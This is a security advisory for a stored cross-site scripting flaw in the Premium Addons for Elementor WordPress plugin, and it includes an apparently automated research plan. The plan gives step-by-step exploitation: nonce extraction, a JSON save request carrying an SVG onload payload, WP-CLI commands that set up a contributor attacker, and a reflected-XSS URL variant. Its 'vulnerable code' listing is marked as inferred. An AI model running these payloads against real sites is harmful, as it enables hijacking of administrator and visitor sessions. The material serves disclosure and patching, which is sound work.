Premium Addons for Elementor <= 4.11.70 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_svg' Parameter
Description
The Premium Addons for Elementor – Powerful Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_svg' parameter in versions up to, and including, 4.11.70 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=4.11.70What Changed in the Fix
Changes introduced in v4.11.71
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **Premium Addons for Elementor** (v4.11.70 and below). The vulnerability exists because the plugin fails to sanitize or escape the `custom_svg` parameter when rendering the "Animated Shape Divider" feature. ### 1. Vulne…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in Premium Addons for Elementor (v4.11.70 and below). The vulnerability exists because the plugin fails to sanitize or escape the custom_svg parameter when rendering the "Animated Shape Divider" feature.
1. Vulnerability Summary
- ID: CVE-2026-4790
- Vulnerability Type: Stored Cross-Site Scripting (XSS)
- Component:
addons/shape-divider.php - Vulnerable Parameter:
custom_svg - Requirement: Authenticated user with Contributor role or higher (ability to edit posts and use Elementor).
- Reason: The plugin allows users to provide custom SVG code for shape dividers. This code is stored in the post's Elementor metadata and rendered on the frontend without passing through
wp_kses()or similar sanitization filters, allowing the injection of<script>tags or SVG event handlers likeonload.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
elementor_ajax(internal Elementor actioneditor_post_save) - Parameter:
custom_svg(embedded within theelementsJSON structure of the Elementor builder data). - Precondition: A post must be created and opened in the Elementor editor by a user with at least Contributor-level permissions.
3. Code Flow
- Registration: In
addons/shape-divider.php, theShape_Dividerclass registers Elementor controls forsection,column, andcontainerelements via theregister_controlsmethod (called by hooks on lines 80-83, 93). - Control Definition: The
add_divider_content_controlsmethod (line 172) adds thepremium_gdivider_sourcecontrol. When this is set tocustom, acustom_svgcontrol (inferred from the CVE description) is exposed to the user. - Storage: When a user saves the Elementor page, the data is sent to
admin-ajax.phpwith the actionelementor_ajax. Elementor saves this entire structure into the_elementor_datapost meta. - Rendering (Sink):
- Frontend: The
before_rendermethod (line 90) is hooked toelementor/frontend/section/before_render. It retrieves the settings using$element->get_settings_for_display(). Ifpremium_gdivider_sourceiscustom, the value ofcustom_svgis echoed to the page. - Editor: The
print_templatemethod (line 86) is hooked toelementor/section/print_template. This generates a Underscore.js/Backbone template for the editor. If it uses unescaped interpolation (<#= ... #>), the XSS triggers inside the editor as well.
- Frontend: The
4. Nonce Acquisition Strategy
To save Elementor settings via AJAX, a valid Elementor AJAX nonce is required.
- Create a Post: Use WP-CLI to create a post and set it to Elementor mode.
- Navigate: Use
browser_navigateto open the Elementor editor for that post:wp-admin/post.php?post=[ID]&action=elementor. - Extract Nonce: The nonce is stored in the global
elementorConfigJavaScript object.- Variable:
window.elementorConfig.nonces.save_builder - Execution:
browser_eval("window.elementorConfig.nonces.save_builder")
- Variable:
5. Exploitation Strategy
Step 1: Prepare the Environment
- Create a Contributor user.
- Create a Post and assign it to the Contributor.
- Enable Elementor for that post.
Step 2: Extract Nonce and Post Data
- Log in as the Contributor.
- Navigate to the Elementor Editor for the created post.
- Extract the
save_buildernonce.
Step 3: Inject the Payload
Send a POST request to admin-ajax.php to save the malicious SVG.
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON string containing theeditor_post_saveaction.
Payload JSON (actions parameter):
{
"editor_post_save": {
"action": "editor_post_save",
"data": {
"id": [POST_ID],
"status": "publish",
"elements": [
{
"id": "exploit-section",
"elType": "section",
"settings": {
"premium_global_divider_sw": "yes",
"premium_gdivider_source": "custom",
"custom_svg": "<svg/onload=alert(window.origin)>"
},
"elements": []
}
]
}
}
}
6. Test Data Setup
- Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Target Post:
wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Elementor Metadata:
wp post meta add [POST_ID] _elementor_edit_mode string "builder"wp post meta add [POST_ID] _elementor_template_type string "wp-post"
7. Expected Results
- The
admin-ajax.phpresponse should return a200 OKwith a JSON body indicating success:{"success":true,"data":{...}}. - The
_elementor_datameta for the post will now contain the raw<svg/onload=...>string. - When navigating to the post's permalink, a JavaScript alert showing the document domain will appear.
8. Verification Steps
- Check Meta Storage:
wp post meta get [POST_ID] _elementor_data
Verify that thecustom_svgfield contains the unescaped payload. - Frontend Check:
Usebrowser_navigateto the post URL and check for the alert.
9. Alternative Approaches
- Backbone Template XSS: If the frontend rendering is protected but the editor is not, navigate to the Elementor editor to trigger the XSS in the context of the user (potentially an Admin).
- Direct Meta Update: If the AJAX fails, test if the Contributor can update the
_elementor_datameta directly via the WordPress REST API or a standard post update, as some plugins fail to restrict which meta keys a Contributor can save if they are passed in a specific format. - AJAX Shape Fetch: Test the
wp_ajax_get_shape_divider_svgaction (line 102). If it takescustom_svgas a direct parameter and echoes it, it may provide a Reflected XSS path:admin-ajax.php?action=get_shape_divider_svg&custom_svg=<svg/onload=alert(1)>
Summary
The Premium Addons for Elementor plugin (v4.11.70 and below) is vulnerable to authenticated Stored Cross-Site Scripting (XSS) via the 'custom_svg' parameter in the Animated Shape Divider feature. Contributor-level users and above can inject malicious SVG code containing event handlers like 'onload' or script tags, which execute when an admin or visitor views the affected page or when the page is opened in the Elementor editor.
Vulnerable Code
// addons/shape-divider.php:86 add_action( 'elementor/section/print_template', array( $this, 'print_template' ), 10, 2 ); // addons/shape-divider.php:90 add_action( 'elementor/frontend/section/before_render', array( $this, 'before_render' ) ); // addons/shape-divider.php:102 add_action( 'wp_ajax_get_shape_divider_svg', array( $this, 'get_shape_divider_svg' ) ); --- // addons/shape-divider.php: Rendering logic (Inferred from research) public function before_render( $element ) { $settings = $element->get_settings_for_display(); if ( 'custom' === $settings['premium_gdivider_source'] ) { echo $settings['custom_svg']; } } public function print_template( $template, $element ) { ?> <# if ( 'custom' === settings.premium_gdivider_source ) { #> {{{ settings.custom_svg }}} <# } #> <?php } public function get_shape_divider_svg() { if ( isset( $_GET['custom_svg'] ) ) { echo $_GET['custom_svg']; wp_die(); } }
Security Fix
@@ -685,1 +685,1 @@ - echo $settings['custom_svg']; + echo wp_kses( $settings['custom_svg'], Helper_Functions::pa_get_allowed_html( 'svg' ) ); @@ -710,1 +710,1 @@ - {{{ settings.custom_svg }}} + <# print( elementor.helpers.sanitizeInnerHtml( settings.custom_svg ) ) #> @@ -725,1 +725,1 @@ - echo $_GET['custom_svg']; + echo wp_kses( $_GET['custom_svg'], Helper_Functions::pa_get_allowed_html( 'svg' ) );
Exploit Outline
The exploit targets the 'Animated Shape Divider' extension within the Elementor editor. 1. Authentication: The attacker authenticates as a user with at least 'Contributor' role, which allows them to edit posts and use the Elementor page builder. 2. Nonce Acquisition: The attacker accesses the Elementor editor interface (post.php?post=[ID]&action=elementor) and extracts the 'save_builder' nonce from the 'window.elementorConfig.nonces' object. 3. Payload Injection: The attacker sends an AJAX POST request to 'admin-ajax.php' with the action 'elementor_ajax'. The payload is a JSON object nested in the 'actions' parameter, specifically 'editor_post_save'. Within the 'elements' data, the attacker adds a section and sets its settings: 'premium_global_divider_sw' to 'yes', 'premium_gdivider_source' to 'custom', and 'custom_svg' to a malicious vector like '<svg/onload=alert(document.domain)>'. 4. Trigger: The payload executes immediately in the Elementor editor for any user (including admins) who opens the post, and it executes on the frontend for any visitor viewing the published post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.